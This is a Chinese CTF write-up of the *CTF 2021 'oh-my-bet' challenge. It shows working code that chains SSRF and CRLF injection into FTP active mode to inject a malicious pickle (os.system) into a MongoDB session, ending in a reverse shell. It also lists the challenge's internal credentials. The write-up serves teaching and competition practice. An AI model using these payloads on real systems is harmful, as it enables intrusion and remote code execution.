http://w4nder.top/?p=382
抓個包,發現頭像處1.png,可以路徑穿越
結果會保存在頭像中
/app/utils.py
urllib請求,基本上是ssrf+crlf
/app/config.py
內網172.20.0.2 8877是個ftp,crlf看一下ftp文件可以得到config.json
ftp://fan:root@172.20.0.2:8877/files/config.json
看到172.20.0.5是mongodb,.3是mysql,.4是redis
{
"secret_key":"f4545478ee86$%^&&%$#",
"DEBUG": false,
"SESSION_TYPE": "mongodb",
"REMOTE_MONGO_IP": "172.20.0.5",
"REMOTE_MONGO_PORT": 27017,
"SESSION_MONGODB_DB": "admin",
"SESSION_MONGODB_COLLECT": "sessions",
"SESSION_PERMANENT": true,
"SESSION_USE_SIGNER": false,
"SESSION_KEY_PREFIX": "session:",
"SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
"SQLALCHEMY_TRACK_MODIFICATIONS": true,
"REDIS_URL": "redis://@172.20.0.4:6379/0"
}
並且session是flask_session,也就是說session是以序列化pickle的形式存儲在mongo里
所以現在目的就是往mongodb中的session中插入惡意pickle數據,但是問題就是mongodb沒有像ftp:// 一樣的協議,不能直接用來ssrf。這里的打法也是讓我學了一波
首先ftp有主動模式和被動模式一說,命令行使用如quote port 127,0,0,1,0,2233切換,主動模式可以遠程請求一個服務器端口下載(STOR)和上傳文件(RETR),如
import urllib.request
# Upload file
a = '''TYPE I
PORT 127,0,0,1,0,1888
STOR bb2.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)
這樣crlf請求過去ftp就會啟用主動模式,並從本地1888端口下載一個bb2.txt文件
在vps上起一個發送文件的socket
import socket
HOST = '0.0.0.0'
PORT = 1888
blocksize = 4096
fp = open('bb2.txt', 'rb')
s = socket.socket()
s.bind((HOST, PORT))
print('start listen...')
s.listen(5)
conn, addr = s.accept()
while 1:
buf = fp.read(blocksize)
if not buf:
fp.close()
break
conn.sendall(buf)
print('end.')
這樣就能任意讓ftp下載文件了
但是目標是通過ftp上傳到mongo怎么實現,先ftp主動模式上傳抓個包,還是用官方的腳本生成payload
import urllib.request
# Attack mongodb
a = '''TYPE I
PORT vps,0,27017
RETR test111.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)
這里可以看到ftp會把文件內容直接放到tcp流中來上傳
那么在本地用pymongo模擬一下更新mongo里的文件,
#https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet
from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
def get_mongo(cmd):
client = MongoClient('localhost', 27017)
coll = client.admin.sessions
try:
coll.update_one(
{'id':'session:37386ce1-3fe8-4f1d-91fc-224581c5279f'},
{"$set": { "val": get_pickle(cmd) }},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
print(get_mongo('ls'))
本地起個docker抓一下
圖中可以看到這一部分是關鍵的對mongodb更新的數據包,同樣也是直接在tcp流中,那么我們如果在ftp中令發送的文件為這一串就是等效於通過ssrf ftp來操作mongo了
下一步就是生成文件,可以通過將raw數據包十六進制轉換的方式,還有一種是這位師傅的
https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet
直接去pymongo源碼里network.py找到發送數據的那一段,前面拋個異常就行了,我這里直接輸出msg了(注意這里得用linux生成!免得踩坑了)
然后生成對應的文件,如下
改成彈shell的放到vps傳到ftp,然后再將該文件發送到172.20.0.5 27017,變相更新了一次mongo
這時mongo里的數據就被改了
/readflag
ssrf腳本
# -*- coding:utf-8 -*-
import uuid
import re
import requests
sess=requests.session()
def get_source():
res=sess.get(url+"/shake_and_dice")
#print(res.headers)
print(res.cookies)
text=re.findall('<img src="data:image/png;base64,(.*?)" class="img-thumbnail".*?',res.text)
if text:
print("[+] Get source:")
print(text)
def login(path):
print("[+] Login")
username=uuid.uuid4()
data={
'username':username,
'password':username,
'avatar':path,
'submit':'Go!'
}
sess.post(url+'/login',data=data)
if __name__ == '__main__':
url="http://192.168.134.132:8088/"
login("ftp://fan:root@172.20.0.2:8877/")
get_source()
https://github.com/sixstars/starctf2021/blob/main/web-oh-my-bet/oh-my-bet-ZH.md
https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet